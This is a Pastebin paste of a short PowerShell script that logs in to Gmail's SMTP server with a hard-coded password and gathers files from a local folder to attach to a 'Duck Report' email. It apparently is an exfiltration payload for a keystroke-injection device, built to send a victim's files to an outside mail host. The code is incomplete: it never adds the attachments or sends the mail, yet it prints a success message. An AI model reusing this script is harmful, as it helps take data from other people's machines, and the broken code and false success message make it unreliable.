a guest Oct 16th, 2019 108 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
- $SMTPServer = 'smtp.gmail.com'
- $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
- $SMTPInfo.EnableSsl = $true
- $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('email@example.com', 'RamirezHanter1');
- $ReportEmail = New-Object System.Net.Mail.MailMessage
- $ReportEmail.From = 'firstname.lastname@example.org'
- $ReportEmail.Subject = 'Duck Report'
- $ReportEmail.Body = 'Attached is your duck report.... Quack'
- $files=Get-ChildItem "C:\l\"
- Foreach($file in $files)
- Write-Host “Attaching File :- ” $file
- $attachment = New-Object System.Net.Mail.Attachment –ArgumentList C:\l\$file
- write-host "Mail Sent Successfully"
RAW Paste Data